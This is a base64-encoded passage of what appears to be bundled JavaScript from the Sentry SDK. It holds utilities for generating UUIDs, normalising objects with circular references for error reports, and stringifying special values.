h7CiAgICAuLi5mcmFtZSwKICAgIGZpbGVuYW1lOiBmcmFtZS5maWxlbmFtZSB8fCBsb2NhbFN0YWNrW2xvY2FsU3RhY2subGVuZ3RoIC0gMV0uZmlsZW5hbWUsCiAgICBmdW5jdGlvbjogZnJhbWUuZnVuY3Rpb24gfHwgJz8nLAogIH0pKTsKfQoKY29uc3QgZGVmYXVsdEZ1bmN0aW9uTmFtZSA9ICc8YW5vbnltb3VzPic7CgovKioKICogU2FmZWx5IGV4dHJhY3QgZnVuY3Rpb24gbmFtZSBmcm9tIGl0c2VsZgogKi8KZnVuY3Rpb24gZ2V0RnVuY3Rpb25OYW1lKGZuKSB7CiAgdHJ5IHsKICAgIGlmICghZm4gfHwgdHlwZW9mIGZuICE9PSAnZnVuY3Rpb24nKSB7CiAgICAgIHJldHVybiBkZWZhdWx0RnVuY3Rpb25OYW1lOwogICAgfQogICAgcmV0dXJuIGZuLm5hbWUgfHwgZGVmYXVsdEZ1bmN0aW9uTmFtZTsKICB9IGNhdGNoIChlKSB7CiAgICAvLyBKdXN0IGFjY2Vzc2luZyBjdXN0b20gcHJvcHMgaW4gc29tZSBTZWxlbml1bSBlbnZpcm9ubWVudHMKICAgIC8vIGNhbiBjYXVzZSBhICJQZXJtaXNzaW9uIGRlbmllZCIgZXhjZXB0aW9uIChzZWUgcmF2ZW4tanMjNDk1KS4KICAgIHJldHVybiBkZWZhdWx0RnVuY3Rpb25OYW1lOwogIH0KfQoKLyoqCiAqIFVVSUQ0IGdlbmVyYXRvcgogKgogKiBAcmV0dXJucyBzdHJpbmcgR2VuZXJhdGVkIFVVSUQ0LgogKi8KZnVuY3Rpb24gdXVpZDQoKSB7CiAgY29uc3QgZ2JsID0gR0xPQkFMX09CSiA7CiAgY29uc3QgY3J5cHRvID0gZ2JsLmNyeXB0byB8fCBnYmwubXNDcnlwdG87CgogIGxldCBnZXRSYW5kb21CeXRlID0gKCkgPT4gTWF0aC5yYW5kb20oKSAqIDE2OwogIHRyeSB7CiAgICBpZiAoY3J5cHRvICYmIGNyeXB0by5yYW5kb21VVUlEKSB7CiAgICAgIHJldHVybiBjcnlwdG8ucmFuZG9tVVVJRCgpLnJlcGxhY2UoLy0vZywgJycpOwogICAgfQogICAgaWYgKGNyeXB0byAmJiBjcnlwdG8uZ2V0UmFuZG9tVmFsdWVzKSB7CiAgICAgIGdldFJhbmRvbUJ5dGUgPSAoKSA9PiB7CiAgICAgICAgLy8gY3J5cHRvLmdldFJhbmRvbVZhbHVlcyBtaWdodCByZXR1cm4gdW5kZWZpbmVkIGluc3RlYWQgb2YgdGhlIHR5cGVkIGFycmF5CiAgICAgICAgLy8gaW4gb2xkIENocm9taXVtIHZlcnNpb25zIChlLmcuIDIzLjAuMTIzNS4wICgxNTE0MjIpKQogICAgICAgIC8vIEhvd2V2ZXIsIGB0eXBlZEFycmF5YCBpcyBzdGlsbCBmaWxsZWQgaW4tcGxhY2UuCiAgICAgICAgLy8gQHNlZSBodHRwczovL2RldmVsb3Blci5tb3ppbGxhLm9yZy9lbi1VUy9kb2NzL1dlYi9BUEkvQ3J5cHRvL2dldFJhbmRvbVZhbHVlcyN0eXBlZGFycmF5CiAgICAgICAgY29uc3QgdHlwZWRBcnJheSA9IG5ldyBVaW50OEFycmF5KDEpOwogICAgICAgIGNyeXB0by5nZXRSYW5kb21WYWx1ZXModHlwZWRBcnJheSk7CiAgICAgICAgcmV0dXJuIHR5cGVkQXJyYXlbMF07CiAgICAgIH07CiAgICB9CiAgfSBjYXRjaCAoXykgewogICAgLy8gc29tZSBydW50aW1lcyBjYW4gY3Jhc2ggaW52b2tpbmcgY3J5cHRvCiAgICAvLyBodHRwczovL2dpdGh1Yi5jb20vZ2V0c2VudHJ5L3NlbnRyeS1qYXZhc2NyaXB0L2lzc3Vlcy84OTM1CiAgfQoKICAvLyBodHRwOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzEwNTAzNC9ob3ctdG8tY3JlYXRlLWEtZ3VpZC11dWlkLWluLWphdmFzY3JpcHQvMjExNzUyMyMyMTE3NTIzCiAgLy8gQ29uY2F0ZW5hdGluZyB0aGUgZm9sbG93aW5nIG51bWJlcnMgYXMgc3RyaW5ncyByZXN1bHRzIGluICcxMDAwMDAwMDEwMDA0MDAwODAwMDEwMDAwMDAwMDAwMCcKICByZXR1cm4gKChbMWU3XSApICsgMWUzICsgNGUzICsgOGUzICsgMWUxMSkucmVwbGFjZSgvWzAxOF0vZywgYyA9PgogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLWJpdHdpc2UKICAgICgoYyApIF4gKChnZXRSYW5kb21CeXRlKCkgJiAxNSkgPj4gKChjICkgLyA0KSkpLnRvU3RyaW5nKDE2KSwKICApOwp9CgovKioKICogQ2hlY2tzIHdoZXRoZXIgdGhlIGdpdmVuIGlucHV0IGlzIGFscmVhZHkgYW4gYXJyYXksIGFuZCBpZiBpdCBpc24ndCwgd3JhcHMgaXQgaW4gb25lLgogKgogKiBAcGFyYW0gbWF5YmVBcnJheSBJbnB1dCB0byB0dXJuIGludG8gYW4gYXJyYXksIGlmIG5lY2Vzc2FyeQogKiBAcmV0dXJucyBUaGUgaW5wdXQsIGlmIGFscmVhZHkgYW4gYXJyYXksIG9yIGFuIGFycmF5IHdpdGggdGhlIGlucHV0IGFzIHRoZSBvbmx5IGVsZW1lbnQsIGlmIG5vdAogKi8KZnVuY3Rpb24gYXJyYXlpZnkobWF5YmVBcnJheSkgewogIHJldHVybiBBcnJheS5pc0FycmF5KG1heWJlQXJyYXkpID8gbWF5YmVBcnJheSA6IFttYXliZUFycmF5XTsKfQoKLyogZXNsaW50LWRpc2FibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXVuc2FmZS1tZW1iZXItYWNjZXNzICovCi8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1leHBsaWNpdC1hbnkgKi8KCi8qKgogKiBIZWxwZXIgdG8gZGVjeWNsZSBqc29uIG9iamVjdHMKICovCmZ1bmN0aW9uIG1lbW9CdWlsZGVyKCkgewogIGNvbnN0IGhhc1dlYWtTZXQgPSB0eXBlb2YgV2Vha1NldCA9PT0gJ2Z1bmN0aW9uJzsKICBjb25zdCBpbm5lciA9IGhhc1dlYWtTZXQgPyBuZXcgV2Vha1NldCgpIDogW107CiAgZnVuY3Rpb24gbWVtb2l6ZShvYmopIHsKICAgIGlmIChoYXNXZWFrU2V0KSB7CiAgICAgIGlmIChpbm5lci5oYXMob2JqKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgICB9CiAgICAgIGlubmVyLmFkZChvYmopOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L3ByZWZlci1mb3Itb2YKICAgIGZvciAobGV0IGkgPSAwOyBpIDwgaW5uZXIubGVuZ3RoOyBpKyspIHsKICAgICAgY29uc3QgdmFsdWUgPSBpbm5lcltpXTsKICAgICAgaWYgKHZhbHVlID09PSBvYmopIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgfQogICAgfQogICAgaW5uZXIucHVzaChvYmopOwogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgZnVuY3Rpb24gdW5tZW1vaXplKG9iaikgewogICAgaWYgKGhhc1dlYWtTZXQpIHsKICAgICAgaW5uZXIuZGVsZXRlKG9iaik7CiAgICB9IGVsc2UgewogICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGlubmVyLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgaWYgKGlubmVyW2ldID09PSBvYmopIHsKICAgICAgICAgIGlubmVyLnNwbGljZShpLCAxKTsKICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgfQogICAgfQogIH0KICByZXR1cm4gW21lbW9pemUsIHVubWVtb2l6ZV07Cn0KCi8qKgogKiBSZWN1cnNpdmVseSBub3JtYWxpemVzIHRoZSBnaXZlbiBvYmplY3QuCiAqCiAqIC0gQ3JlYXRlcyBhIGNvcHkgdG8gcHJldmVudCBvcmlnaW5hbCBpbnB1dCBtdXRhdGlvbgogKiAtIFNraXBzIG5vbi1lbnVtZXJhYmxlIHByb3BlcnRpZXMKICogLSBXaGVuIHN0cmluZ2lmeWluZywgY2FsbHMgYHRvSlNPTmAgaWYgaW1wbGVtZW50ZWQKICogLSBSZW1vdmVzIGNpcmN1bGFyIHJlZmVyZW5jZXMKICogLSBUcmFuc2xhdGVzIG5vbi1zZXJpYWxpemFibGUgdmFsdWVzIChgdW5kZWZpbmVkYC9gTmFOYC9mdW5jdGlvbnMpIHRvIHNlcmlhbGl6YWJsZSBmb3JtYXQKICogLSBUcmFuc2xhdGVzIGtub3duIGdsb2JhbCBvYmplY3RzL2NsYXNzZXMgdG8gYSBzdHJpbmcgcmVwcmVzZW50YXRpb25zCiAqIC0gVGFrZXMgY2FyZSBvZiBgRXJyb3JgIG9iamVjdCBzZXJpYWxpemF0aW9uCiAqIC0gT3B0aW9uYWxseSBsaW1pdHMgZGVwdGggb2YgZmluYWwgb3V0cHV0CiAqIC0gT3B0aW9uYWxseSBsaW1pdHMgbnVtYmVyIG9mIHByb3BlcnRpZXMvZWxlbWVudHMgaW5jbHVkZWQgaW4gYW55IHNpbmdsZSBvYmplY3QvYXJyYXkKICoKICogQHBhcmFtIGlucHV0IFRoZSBvYmplY3QgdG8gYmUgbm9ybWFsaXplZC4KICogQHBhcmFtIGRlcHRoIFRoZSBtYXggZGVwdGggdG8gd2hpY2ggdG8gbm9ybWFsaXplIHRoZSBvYmplY3QuIChBbnl0aGluZyBkZWVwZXIgc3RyaW5naWZpZWQgd2hvbGUuKQogKiBAcGFyYW0gbWF4UHJvcGVydGllcyBUaGUgbWF4IG51bWJlciBvZiBlbGVtZW50cyBvciBwcm9wZXJ0aWVzIHRvIGJlIGluY2x1ZGVkIGluIGFueSBzaW5nbGUgYXJyYXkgb3IKICogb2JqZWN0IGluIHRoZSBub3JtYWxsaXplZCBvdXRwdXQuCiAqIEByZXR1cm5zIEEgbm9ybWFsaXplZCB2ZXJzaW9uIG9mIHRoZSBvYmplY3QsIG9yIGAiKipub24tc2VyaWFsaXphYmxlKioiYCBpZiBhbnkgZXJyb3JzIGFyZSB0aHJvd24gZHVyaW5nIG5vcm1hbGl6YXRpb24uCiAqLwovLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L25vLWV4cGxpY2l0LWFueQpmdW5jdGlvbiBub3JtYWxpemUoaW5wdXQsIGRlcHRoID0gMTAwLCBtYXhQcm9wZXJ0aWVzID0gK0luZmluaXR5KSB7CiAgdHJ5IHsKICAgIC8vIHNpbmNlIHdlJ3JlIGF0IHRoZSBvdXRlcm1vc3QgbGV2ZWwsIHdlIGRvbid0IHByb3ZpZGUgYSBrZXkKICAgIHJldHVybiB2aXNpdCgnJywgaW5wdXQsIGRlcHRoLCBtYXhQcm9wZXJ0aWVzKTsKICB9IGNhdGNoIChlcnIpIHsKICAgIHJldHVybiB7IEVSUk9SOiBgKipub24tc2VyaWFsaXphYmxlKiogKCR7ZXJyfSlgIH07CiAgfQp9CgovKioKICogVmlzaXRzIGEgbm9kZSB0byBwZXJmb3JtIG5vcm1hbGl6YXRpb24gb24gaXQKICoKICogQHBhcmFtIGtleSBUaGUga2V5IGNvcnJlc3BvbmRpbmcgdG8gdGhlIGdpdmVuIG5vZGUKICogQHBhcmFtIHZhbHVlIFRoZSBub2RlIHRvIGJlIHZpc2l0ZWQKICogQHBhcmFtIGRlcHRoIE9wdGlvbmFsIG51bWJlciBpbmRpY2F0aW5nIHRoZSBtYXhpbXVtIHJlY3Vyc2lvbiBkZXB0aAogKiBAcGFyYW0gbWF4UHJvcGVydGllcyBPcHRpb25hbCBtYXhpbXVtIG51bWJlciBvZiBwcm9wZXJ0aWVzL2VsZW1lbnRzIGluY2x1ZGVkIGluIGFueSBzaW5nbGUgb2JqZWN0L2FycmF5CiAqIEBwYXJhbSBtZW1vIE9wdGlvbmFsIE1lbW8gY2xhc3MgaGFuZGxpbmcgZGVjeWNsaW5nCiAqLwpmdW5jdGlvbiB2aXNpdCgKICBrZXksCiAgdmFsdWUsCiAgZGVwdGggPSArSW5maW5pdHksCiAgbWF4UHJvcGVydGllcyA9ICtJbmZpbml0eSwKICBtZW1vID0gbWVtb0J1aWxkZXIoKSwKKSB7CiAgY29uc3QgW21lbW9pemUsIHVubWVtb2l6ZV0gPSBtZW1vOwoKICAvLyBHZXQgdGhlIHNpbXBsZSBjYXNlcyBvdXQgb2YgdGhlIHdheSBmaXJzdAogIGlmICgKICAgIHZhbHVlID09IG51bGwgfHwgLy8gdGhpcyBtYXRjaGVzIG51bGwgYW5kIHVuZGVmaW5lZCAtPiBlcWVxIG5vdCBlcWVxZXEKICAgIChbJ251bWJlcicsICdib29sZWFuJywgJ3N0cmluZyddLmluY2x1ZGVzKHR5cGVvZiB2YWx1ZSkgJiYgIWlzTmFOJDEodmFsdWUpKQogICkgewogICAgcmV0dXJuIHZhbHVlIDsKICB9CgogIGNvbnN0IHN0cmluZ2lmaWVkID0gc3RyaW5naWZ5VmFsdWUoa2V5LCB2YWx1ZSk7CgogIC8vIEFueXRoaW5nIHdlIGNvdWxkIHBvdGVudGlhbGx5IGRpZyBpbnRvIG1vcmUgKG9iamVjdHMgb3IgYXJyYXlzKSB3aWxsIGhhdmUgY29tZSBiYWNrIGFzIGAiW29iamVjdCBYWFhYXSJgLgogIC8vIEV2ZXJ5dGhpbmcgZWxzZSB3aWxsIGhhdmUgYWxyZWFkeSBiZWVuIHNlcmlhbGl6ZWQsIHNvIGlmIHdlIGRvbid0IHNlZSB0aGF0IHBhdHRlcm4sIHdlJ3JlIGRvbmUuCiAgaWYgKCFzdHJpbmdpZmllZC5zdGFydHNXaXRoKCdbb2JqZWN0ICcpKSB7CiAgICByZXR1cm4gc3RyaW5naWZpZWQ7CiAgfQoKICAvLyBGcm9tIGhlcmUgb24sIHdlIGNhbiBhc3NlcnQgdGhhdCBgdmFsdWVgIGlzIGVpdGhlciBhbiBvYmplY3Qgb3IgYW4gYXJyYXkuCgogIC8vIERvIG5vdCBub3JtYWxpemUgb2JqZWN0cyB0aGF0IHdlIGtub3cgaGF2ZSBhbHJlYWR5IGJlZW4gbm9ybWFsaXplZC4gQXMgYSBnZW5lcmFsIHJ1bGUsIHRoZQogIC8vICJfX3NlbnRyeV9za2lwX25vcm1hbGl6YXRpb25fXyIgcHJvcGVydHkgc2hvdWxkIG9ubHkgYmUgdXNlZCBzcGFyaW5nbHkgYW5kIG9ubHkgc2hvdWxkIG9ubHkgYmUgc2V0IG9uIG9iamVjdHMgdGhhdAogIC8vIGhhdmUgYWxyZWFkeSBiZWVuIG5vcm1hbGl6ZWQuCiAgaWYgKCh2YWx1ZSApWydfX3NlbnRyeV9za2lwX25vcm1hbGl6YXRpb25fXyddKSB7CiAgICByZXR1cm4gdmFsdWUgOwogIH0KCiAgLy8gV2UgY2FuIHNldCBgX19zZW50cnlfb3ZlcnJpZGVfbm9ybWFsaXphdGlvbl9kZXB0aF9fYCBvbiBhbiBvYmplY3QgdG8gZW5zdXJlIHRoYXQgZnJvbSB0aGVyZQogIC8vIFdlIGtlZXAgYSBjZXJ0YWluIGFtb3VudCBvZiBkZXB0aC4KICAvLyBUaGlzIHNob3VsZCBiZSB1c2VkIHNwYXJpbmdseSwgZS5nLiB3ZSB1c2UgaXQgZm9yIHRoZSByZWR1eCBpbnRlZ3JhdGlvbiB0byBlbnN1cmUgd2UgZ2V0IGEgY2VydGFpbiBhbW91bnQgb2Ygc3RhdGUuCiAgY29uc3QgcmVtYWluaW5nRGVwdGggPQogICAgdHlwZW9mICh2YWx1ZSApWydfX3NlbnRyeV9vdmVycmlkZV9ub3JtYWxpemF0aW9uX2RlcHRoX18nXSA9PT0gJ251bWJlcicKICAgICAgPyAoKHZhbHVlIClbJ19fc2VudHJ5X292ZXJyaWRlX25vcm1hbGl6YXRpb25fZGVwdGhfXyddICkKICAgICAgOiBkZXB0aDsKCiAgLy8gV2UncmUgYWxzbyBkb25lIGlmIHdlJ3ZlIHJlYWNoZWQgdGhlIG1heCBkZXB0aAogIGlmIChyZW1haW5pbmdEZXB0aCA9PT0gMCkgewogICAgLy8gQXQgdGhpcyBwb2ludCB3ZSBrbm93IGBzZXJpYWxpemVkYCBpcyBhIHN0cmluZyBvZiB0aGUgZm9ybSBgIltvYmplY3QgWFhYWF0iYC4gQ2xlYW4gaXQgdXAgc28gaXQncyBqdXN0IGAiW1hYWFhdImAuCiAgICByZXR1cm4gc3RyaW5naWZpZWQucmVwbGFjZSgnb2JqZWN0ICcsICcnKTsKICB9CgogIC8vIElmIHdlJ3ZlIGFscmVhZHkgdmlzaXRlZCB0aGlzIGJyYW5jaCwgYmFpbCBvdXQsIGFzIGl0J3MgY2lyY3VsYXIgcmVmZXJlbmNlLiBJZiBub3QsIG5vdGUgdGhhdCB3ZSdyZSBzZWVpbmcgaXQgbm93LgogIGlmIChtZW1vaXplKHZhbHVlKSkgewogICAgcmV0dXJuICdbQ2lyY3VsYXIgfl0nOwogIH0KCiAgLy8gSWYgdGhlIHZhbHVlIGhhcyBhIGB0b0pTT05gIG1ldGhvZCwgd2UgY2FsbCBpdCB0byBleHRyYWN0IG1vcmUgaW5mb3JtYXRpb24KICBjb25zdCB2YWx1ZVdpdGhUb0pTT04gPSB2YWx1ZSA7CiAgaWYgKHZhbHVlV2l0aFRvSlNPTiAmJiB0eXBlb2YgdmFsdWVXaXRoVG9KU09OLnRvSlNPTiA9PT0gJ2Z1bmN0aW9uJykgewogICAgdHJ5IHsKICAgICAgY29uc3QganNvblZhbHVlID0gdmFsdWVXaXRoVG9KU09OLnRvSlNPTigpOwogICAgICAvLyBXZSBuZWVkIHRvIG5vcm1hbGl6ZSB0aGUgcmV0dXJuIHZhbHVlIG9mIGAudG9KU09OKClgIGluIGNhc2UgaXQgaGFzIGNpcmN1bGFyIHJlZmVyZW5jZXMKICAgICAgcmV0dXJuIHZpc2l0KCcnLCBqc29uVmFsdWUsIHJlbWFpbmluZ0RlcHRoIC0gMSwgbWF4UHJvcGVydGllcywgbWVtbyk7CiAgICB9IGNhdGNoIChlcnIpIHsKICAgICAgLy8gcGFzcyAoVGhlIGJ1aWx0LWluIGB0b0pTT05gIGZhaWxlZCwgYnV0IHdlIGNhbiBzdGlsbCB0cnkgdG8gZG8gaXQgb3Vyc2VsdmVzKQogICAgfQogIH0KCiAgLy8gQXQgdGhpcyBwb2ludCB3ZSBrbm93IHdlIGVpdGhlciBoYXZlIGFuIG9iamVjdCBvciBhbiBhcnJheSwgd2UgaGF2ZW4ndCBzZWVuIGl0IGJlZm9yZSwgYW5kIHdlJ3JlIGdvaW5nIHRvIHJlY3Vyc2UKICAvLyBiZWNhdXNlIHdlIGhhdmVuJ3QgeWV0IHJlYWNoZWQgdGhlIG1heCBkZXB0aC4gQ3JlYXRlIGFuIGFjY3VtdWxhdG9yIHRvIGhvbGQgdGhlIHJlc3VsdHMgb2YgdmlzaXRpbmcgZWFjaAogIC8vIHByb3BlcnR5L2VudHJ5LCBhbmQga2VlcCB0cmFjayBvZiB0aGUgbnVtYmVyIG9mIGl0ZW1zIHdlIGFkZCB0byBpdC4KICBjb25zdCBub3JtYWxpemVkID0gKEFycmF5LmlzQXJyYXkodmFsdWUpID8gW10gOiB7fSkgOwogIGxldCBudW1BZGRlZCA9IDA7CgogIC8vIEJlZm9yZSB3ZSBiZWdpbiwgY29udmVydGBFcnJvcmAgYW5kYEV2ZW50YCBpbnN0YW5jZXMgaW50byBwbGFpbiBvYmplY3RzLCBzaW5jZSBzb21lIG9mIGVhY2ggb2YgdGhlaXIgcmVsZXZhbnQKICAvLyBwcm9wZXJ0aWVzIGFyZSBub24tZW51bWVyYWJsZSBhbmQgb3RoZXJ3aXNlIHdvdWxkIGdldCBtaXNzZWQuCiAgY29uc3QgdmlzaXRhYmxlID0gY29udmVydFRvUGxhaW5PYmplY3QodmFsdWUgKTsKCiAgZm9yIChjb25zdCB2aXNpdEtleSBpbiB2aXNpdGFibGUpIHsKICAgIC8vIEF2b2lkIGl0ZXJhdGluZyBvdmVyIGZpZWxkcyBpbiB0aGUgcHJvdG90eXBlIGlmIHRoZXkndmUgc29tZWhvdyBiZWVuIGV4cG9zZWQgdG8gZW51bWVyYXRpb24uCiAgICBpZiAoIU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbCh2aXNpdGFibGUsIHZpc2l0S2V5KSkgewogICAgICBjb250aW51ZTsKICAgIH0KCiAgICBpZiAobnVtQWRkZWQgPj0gbWF4UHJvcGVydGllcykgewogICAgICBub3JtYWxpemVkW3Zpc2l0S2V5XSA9ICdbTWF4UHJvcGVydGllcyB+XSc7CiAgICAgIGJyZWFrOwogICAgfQoKICAgIC8vIFJlY3Vyc2l2ZWx5IHZpc2l0IGFsbCB0aGUgY2hpbGQgbm9kZXMKICAgIGNvbnN0IHZpc2l0VmFsdWUgPSB2aXNpdGFibGVbdmlzaXRLZXldOwogICAgbm9ybWFsaXplZFt2aXNpdEtleV0gPSB2aXNpdCh2aXNpdEtleSwgdmlzaXRWYWx1ZSwgcmVtYWluaW5nRGVwdGggLSAxLCBtYXhQcm9wZXJ0aWVzLCBtZW1vKTsKCiAgICBudW1BZGRlZCsrOwogIH0KCiAgLy8gT25jZSB3ZSd2ZSB2aXNpdGVkIGFsbCB0aGUgYnJhbmNoZXMsIHJlbW92ZSB0aGUgcGFyZW50IGZyb20gbWVtbyBzdG9yYWdlCiAgdW5tZW1vaXplKHZhbHVlKTsKCiAgLy8gUmV0dXJuIGFjY3VtdWxhdGVkIHZhbHVlcwogIHJldHVybiBub3JtYWxpemVkOwp9CgovKiBlc2xpbnQtZGlzYWJsZSBjb21wbGV4aXR5ICovCi8qKgogKiBTdHJpbmdpZnkgdGhlIGdpdmVuIHZhbHVlLiBIYW5kbGVzIHZhcmlvdXMga25vd24gc3BlY2lhbCB2YWx1ZXMgYW5kIHR5cGVzLgogKgogKiBOb3QgbWVhbnQgdG8gYmUgdXNlZCBvbiBzaW1wbGUgcHJpbWl0aXZlcyB3aGljaCBhbHJlYWR5IGhhdmUgYSBzdHJpbmcgcmVwcmVzZW50YXRpb24sIGFzIGl0IHdpbGwsIGZvciBleGFtcGxlLCB0dXJuCiAqIHRoZSBudW1iZXIgMTIzMSBpbnRvICJbT2JqZWN0IE51bWJlcl0iLCBub3Igb24gYG51bGxgLCBhcyBpdCB3aWxsIHRocm93LgogKgogKiBAcGFyYW0gdmFsdWUgVGhlIHZhbHVlIHRvIHN0cmluZ2lmeQogKiBAcmV0dXJucyBBIHN0cmluZ2lmaWVkIHJlcHJlc2VudGF0aW9uIG9mIHRoZSBnaXZlbiB2YWx1ZQogKi8KZnVuY3Rpb24gc3RyaW5naWZ5VmFsdWUoCiAga2V5LAogIC8vIHRoaXMgdHlwZSBpcyBhIHRpbnkgYml0IG9mIGEgY2hlYXQsIHNpbmNlIHRoaXMgZnVuY3Rpb24gZG9lcyBoYW5kbGUgTmFOICh3aGljaCBpcyB0ZWNobmljYWxseSBhIG51bWJlciksIGJ1dCBmb3IKICAvLyBvdXIgaW50ZXJuYWwgdXNlLCBpdCdsbCBkbwogIHZhbHVlLAopIHsKICB0cnkgewogICAgaWYgKGtleSA9PT0gJ2RvbWFpbicgJiYgdmFsdWUgJiYgdHlwZW9mIHZhbHVlID09PSAnb2JqZWN0JyAmJiAodmFsdWUgKS5fZXZlbnRzKSB7CiAgICAgIHJldHVybiAnW0RvbWFpbl0nOwogICAgfQoKICAgIGlmIChrZXkgPT09ICdkb21haW5FbWl0dGVyJykgewogICAgICByZXR1cm4gJ1tEb21haW5FbWl0dGVyXSc7CiAgICB9CgogICAgLy8gSXQncyBzYWZlIHRvIHVzZSBgZ2xvYmFsYCwgYHdpbmRvd2AsIGFuZCBgZG9jdW1lbnRgIGhlcmUgaW4gdGhpcyBtYW5uZXIsIGFzIHdlIGFyZSBhc3NlcnRpbmcgdXNpbmcgYHR5cGVvZmAgZmlyc3QKICAgIC8vIHdoaWNoIHdvbid0IHRocm93IGlmIHRoZXkgYXJlIG5vdCBwcmVzZW50LgoKICAgIGlmICh0eXBlb2YgZ2xvYmFsICE9PSAndW5kZWZpbmVkJyAmJiB2YWx1ZSA9PT0gZ2xvYmFsKSB7CiAgICAgIHJldHVybiAnW0dsb2JhbF0nOwogICAgfQoKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1yZXN0cmljdGVkLWdsb2JhbHMKICAgIGlmICh0eXBlb2Ygd2luZG93ICE9PSAndW5kZWZpbmVkJyAmJiB2YWx1ZSA9PT0gd2luZG93KSB7CiAgICAgIHJldHVybiAnW1dpbmRvd10nOwogICAgfQoKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1yZXN0cmljdGVkLWdsb2JhbHMKICAgIGlmICh0eXBlb2YgZG9jdW1lbnQgIT09ICd1bmRlZmluZWQnICYmIHZhbHVlID09PSBkb2N1bWVudCkgewogICAgICByZXR1cm4gJ1tEb2N1bWVudF0nOwogICAgfQoKICAgIGlmIChpc1Z1ZVZpZXdNb2RlbCh2YWx1ZSkpIHsKICAgICAgcmV0dXJuICdbVnVlVmlld01vZGVsXSc7CiAgICB9CgogICAgLy8gUmVhY3QncyBTeW50aGV0aWNFdmVudCB0aGluZ3kKICAgIGlmIChpc1N5bnRoZXRpY0V2ZW50KHZhbHVlKSkgewogICAgICByZXR1cm4gJ1tTeW50aGV0aWNFdmVudF0nOwogICAgfQoKICAgIGlmICh0eXBlb2YgdmFsdWUgPT09ICdudW1iZXInICYmIHZhbHVlICE9PSB2YWx1ZSkgewogICAgICByZXR1cm4gJ1tOYU5dJzsKICAgIH0KCiAgICBpZiAodHlwZW9mIHZhbHVlID09PSAnZnVuY3Rpb24nKSB7CiAgICAgIHJldHVybiBgW0Z1bmN0aW9uOiAke2dldEZ1bmN0aW9uTmFtZSh2YWx1ZSl9XWA7CiAgICB9CgogICAgaWYgKHR5cGVvZiB2YWx1ZSA9PT0gJ3N5bWJvbCcpIHsKICAgICAgcmV0dXJuIGBbJHtTdHJpbmcodmFsdWUpfV1gOwogICAgfQoKICAgIC8vIHN0cmluZ2lmaWVkIEJpZ0ludHMgYXJlIGluZGlzdGluZ3Vpc2hhYmxlIGZyb20gcmVndWxhciBudW1iZXJzLCBzbyB3ZSBuZWVkIHRvIGxhYmVsIHRoZW0gdG8gYXZvaWQgY29uZnVzaW9uCiAgICBpZiAodHlwZW9mIHZhbHVlID09PSAnYmlnaW50JykgewogICAgICByZXR1cm4gYFtCaWdJbnQ6ICR7U3RyaW5nKHZhbHVlKX1dYDsKICAgIH0KCiAgICAvLyBOb3cgdGhhdCB3ZSd2ZSBrbm9ja2VkIG91dCBhbGwgdGhlIHNwZWNpYWwgY2FzZXMgYW5kIHRoZSBwcmltaXRpdmVzLCBhbGwgd2UgaGF2ZSBsZWZ0IGFyZSBvYmplY3RzLiBTaW1wbHkgY2FzdGluZwogICAgLy8gdGhlbSB0byBzdHJpbmdzIG1lYW5zIHRoYXQgaW5zdGFuY2VzIG9mIGNsYXNzZXMgd2hpY2ggaGF2ZW4ndCBkZWZpbmVkIHRoZWlyIGB0b1N0cmluZ1RhZ2Agd2lsbCBqdXN0IGNvbWUgb3V0IGFzCiAgICAvLyBgIltvYmplY3QgT2JqZWN0XSJgLiBJZiB3ZSBpbnN0ZWFkIGxvb2sgYXQgdGhlIGNvbnN0cnVjdG9yJ3MgbmFtZSAod2hpY2ggaXMgdGhlIHNhbWUgYXMgdGhlIG5hbWUgb2YgdGhlIGNsYXNzKSwKICAgIC8vIHdlIGNhbiBtYWtlIHN1cmUgdGhhdCBvbmx5IHBsYWluIG9iamVjdHMgY29tZSBvdXQgdGhhdCB3YXkuCiAgICBjb25zdCBvYmpOYW1lID0gZ2V0Q29uc3RydWN0b3JOYW1lKHZhbHVlKTsKCiAgICAvLyBIYW5kbGUgSFRNTCBFbGVtZW50cwogICAgaWYgKC9eSFRNTChcdyopRWxlbWVudCQvLnRlc3Qob2JqTmFtZSkpIHsKICAgICAgcmV0dXJuIGBbSFRNTEVsZW1lbnQ6ICR7b2JqTmFtZX1dYDsKICAgIH0KCiAgICByZXR1cm4gYFtvYmplY3QgJHtvYmpOYW1lfV1gOwogIH0gY2F0Y2ggKGVycikgewogICAgcmV0dXJuIGAqKm5vbi1zZXJpYWxpemFibGUqKiAoJHtlcnJ9KWA7CiAgfQp9Ci8qIGVzbGludC1lbmFibGUgY29tcGxleGl0eSAqLwoKZnVuY3Rpb24gZ2V0Q29uc3RydWN0b3JOYW1lKHZhbHVlKSB7CiAgY29uc3QgcHJvdG90eXBlID0gT2JqZWN0LmdldFByb3RvdHlwZU9mKHZhbHVlKTsKCiAgcmV0dXJuIHByb3RvdHlwZSA/IHByb3RvdHlwZS5jb25zdHJ1Y3Rvci5uYW1lIDogJ251bGwgcHJvdG90eXBlJzsKfQoKLyoqCiAqIE5vcm1hbGl6ZXMgVVJMcyBpbiBleGNlcHRpb25zIGFuZCBzdGFja3RyYWNlcyB0byBhIGJhc2UgcGF0aCBzbyBTZW50cnkgY2FuIGZpbmdlcnByaW50CiAqIGFjcm9zcyBwbGF0Zm9ybXMgYW5kIHdvcmtpbmcgZGlyZWN0b3J5LgogKgogKiBAcGFyYW0gdXJsIFRoZSBVUkwgdG8gYmUgbm9ybWFsaXplZC4KICogQHBhcmFtIGJhc2VQYXRo